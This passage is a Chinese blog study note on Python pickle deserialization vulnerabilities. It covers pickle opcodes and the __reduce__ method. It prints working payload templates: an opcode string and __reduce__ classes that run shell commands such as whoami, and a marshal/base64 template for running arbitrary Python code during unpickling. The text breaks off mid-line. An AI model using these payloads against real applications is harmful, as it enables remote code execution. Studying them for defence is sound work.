1. 程式人生 > >Python 反序列化漏洞學習筆記

Python 反序列化漏洞學習筆記

## 參考文章 [一篇文章帶你理解漏洞之 Python 反序列化漏洞](https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/) [Python Pickle/CPickle 反序列化漏洞](https://www.guildhab.top/?p=2178) [Python反序列化安全問題](https://segmentfault.com/a/1190000013099825) [pickle反序列化初探](https://xz.aliyun.com/t/7436#toc-11) ## 前言 **上面看完,請忽略下面的內容** Python 中有很多能進行序列化的模組,比如 [Json、pickle/cPickle、Shelve](https://www.cnblogs.com/gcgc/p/10973418.html)、[Marshal](https://docs.python.org/zh-tw/3/library/marshal.html) 一般 [pickle](https://docs.python.org/zh-cn/3/library/pickle.html) 模組較常使用 在 pickle 模組中 , 常用以下四個方法 * `pickle.dump(obj, file)` : 將物件序列化後儲存到檔案 * `pickle.load(file)` : 讀取檔案, 將檔案中的序列化內容反序列化為物件 * `pickle.dumps(obj)` : 將物件序列化成字串格式的位元組流 * `pickle.loads(bytes_obj)` : 將字串格式的位元組流反序列化為物件 注意:file檔案需要以 2 進位制方式開啟,如 `wb`、`rb` ### 序列化 1. 從物件提取所有屬性,並將屬性轉化為鍵值對 2. 寫入物件的類名 3. 寫入鍵值對 看到下面這個序列化例子 ![](https://img2020.cnblogs.com/blog/1893076/202011/1893076-20201130132820552-710434203.png) py3 序列化後結果為: ``` b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x051ndex\x94\x8c\x03age\x94K\x12ub.' ``` py2 序列化後結果為: ``` (i__main__ Test p0 (dp1 S'age' p2 I18 sS'name' p3 S'1ndex' p4 sb. ``` 這麼一大串字元代表什麼意思呢?可以簡單的與 PHP 反序列化結果做類比 ----> 特定的字元開頭幫助直譯器指明特定的操作或內容 實際上這是一串 [PVM 操作碼](https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#2-PVM-%E7%9A%84%E7%BB%84%E6%88%90) 以 py2 執行得到的序列化結果 其中某些行的開頭的字元具有特殊含義 | 符號 | 含義 | 形式 | 例子 | | ---- | ---- | ---- | ---- | | `c` | 匯入模組及其具體物件 | c[module]\n[instance]\n | cos\nsystem\n | | `(` | 左括號 | | | | `t` | 相當於`)`,與`(`組合構成一個元組 | | | | `R` | 表示反序列化時依據 __reduce__ 中的方式完成反序列化,會避免報錯 | 這在反序列化漏洞中很重要 | 很重要 | | `S` | 代表一個字串 | S'string'\n | | | `p` | 後面接一個數字,代表第n塊堆疊 | | p0、p1 | | `.` | 表示結束 | . | | 例如: ``` cos\nsystem\n(S'whoami'\ntR. ``` ### 反序列化 1. 獲取 pickle 輸入流,也就是上面說的 PVM 碼 2. 重建屬性列表 3. 根據類名建立一個新的物件 4. 將屬性複製到新的物件中 反序列化時,將字串(pickle 流)轉換為物件 ![](https://img2020.cnblogs.com/blog/1893076/202011/1893076-20201130142441849-1250018164.png) 與 [PHP 序列化](https://www.cnblogs.com/wjrblogs/p/12800358.html)相似,Python 序列化也是將物件轉換成具有特定格式的**字串(py2)或位元組流(py3)**,以便於傳輸與儲存,比如 `session` 但是在反序列化時又與 PHP 反序列化又有所不同: * PHP 反序列化要求原始碼中必須存在有問題的類,要求是被反序列化的物件中存在可控引數,具體可看[這裡](https://www.cnblogs.com/wjrblogs/p/12800358.html) * 而 Python 反序列化不需要,其只要求被反序列化的字元可控即可造成 RCE,例如: ```python # Python2 import pickle s ="cos\nsystem\n(S'whoami'\ntR." # 將被反序列化的字串 pickle.loads(s) # 反序列化後即可造成命令執行,因此網站對要被反序列化的字串應該做嚴格限制 ``` 在 Python 中,一切皆物件,因此能使用 pickle 序列化的資料型別有[很多](https://docs.python.org/zh-cn/3/library/pickle.html#what-can-be-pickled-and-unpickled) * None、True 和 False * 整數、浮點數、複數 * str、byte、bytearray * 只包含可封存物件的集合,包括 tuple、list、set 和 dict * 定義在模組最外層的函式(使用 def 定義,lambda 函式則不可以) * 定義在模組最外層的內建函式 * 定義在模組最外層的類 * 某些類例項,這些類的 `__dict__` 屬性值或 `__getstate__()` 函式的返回值可以被封存 其中檔案、套接字、以及程式碼物件不能被序列化! ## Why Python 反序列化漏洞跟 `__reduce__() ` 魔術方法相關 其類似於 PHP 物件中的 `__wakeup()` 方法,會在反序列化時自動呼叫 `__reduce__() ` 魔術方法可以返回一個字串或者時一個元組。其中返回元組時,第一個引數為`一個可呼叫物件`,第二個引數為`該物件所需要的引數` ![](https://img2020.cnblogs.com/blog/1893076/202011/1893076-20201130145601075-941257211.png) ## When 關鍵問題就在 `__reduce__` 方法第二種返回方式---元組。在反序列化時自動呼叫 `__reduce__()` 方法,該方法會自動呼叫返回值中的函式模組並執行 例如下面存的程式碼: ```python import pickle import os class Rce(object): def __reduce__(self): return (os.system,('ipconfig',)) a = Rce() b = pickle.dumps(a) pickle.loads(b) # 執行該語句進行反序列化,自動執行 __reduce__ 方法,並且執行 os.system('ipconfig') ``` ![](https://img2020.cnblogs.com/blog/1893076/202012/1893076-20201208173153972-87198731.jpg) 注意點:**元類無法在反序列化時呼叫 `__reduce__` 魔術方法**,簡單理解就是沒有繼承 `object` 的類 ``` class A(): pass # 反序列化時不會呼叫 __reduce__ 方法 class B(object): pass # 反序列化時會呼叫 __reduce__ 方法 ``` 由於 Python 反序列化時只需要被反序列化的字串可控(而不需要原始碼中存在有安全問題的類)便可造成 RCE 因此我們可以通過如下程式碼輕鬆構造 Payload: ```python import pickle import os class Rce(object): def __reduce__(self): return (os.system,('ipconfig',)) a = Rce() b = pickle.dumps(a) print(b) ``` ## 特性 1. 看到如下兩種不同的序列化結果: * 一 ``` import pickle import os class Rce(object): name = "1ndex" a = Rce() print(pickle.dumps(a)) ``` 結果: ``` ccopy_reg\n_reconstructor\np0\n(c__main__\nRce\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n. ``` * 二 ``` import pickle import os class Rce(object): name = "1ndex" def __reduce__(self): return (os.system,("a",)) a = Rce() print(pickle.dumps(a)) ``` 結果: ``` cposix\nsystem\np0\n(S'ifconfig'\np1\ntp2\nRp3\n. ``` 然後用下面這個程式碼執行反序列化: ``` import pickle str = "填寫上面序列化後的結果" pickle.loads(str) ``` 一 對應的結果反序列化: ``` AttributeError: 'module' object has no attribute 'Rce' # 報錯 ``` 二 對應的結果反序列化成功 一般來說反序列化時如果原始碼中沒有對應的類 `Rce`,是會直接報錯的(也就是上面一的結果),但是為什麼在反序列化二的時候卻能成功呢?原始碼中明明也沒有這個 `Rce` 的類啊 > 當序列化以及反序列化的過程中碰到一無所知的擴充套件型別/類的時候,可以通過類中定義的 `__reduce__` 方法來告知如何進行序列化或者反序列化 也就是說我們,只要在類中定義一個 __reduce__ 方法,我們就能在反序列化時,讓這個類根據我們在__reduce__ 中指定的方式進行序列化(也就會執行 return 中的惡意程式碼) 這應該就是大佬說的相似: > Python 除了能反序列化當前程式碼中出現的類(包括通過 import的方式引入的模組中的類)的物件以外,還能利用其徹底的面向物件的特性來反序列化使用 types 建立的匿名物件,這樣的話就大大拓寬了我們的攻擊面。 2. 反序列化執行 __reduce__ 魔術方法,在 return 時,回自動匯入原始碼中沒有引入的模組,例如: ``` import pickle s ="cos\nsystem\n(S'whoami'\ntR." # 將被反序列化的字串 pickle.loads(s) # 實際上會執行 os.system('whoami'),但是可以看到原始碼中並未匯入 os 模組 ``` ## Solution * 嚴格控制要被反序列化的字串 ## 利用 ### 執行命令 ``` import pickle import os class Rce(object): def __reduce__(self): return (commands.getoutput,("whoami",)) a = Rce() print(pickle.dumps(a)) ``` ### 執行任意 Python 程式碼 ``` import marshal import base64 def code(): # 這裡放任意想執行的 Python 程式碼 pass print """ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'%s' tRtRc__builtin__ globals (tRS'' tR(tR.""" % base64.b64encode(marshal.dumps(code.func_co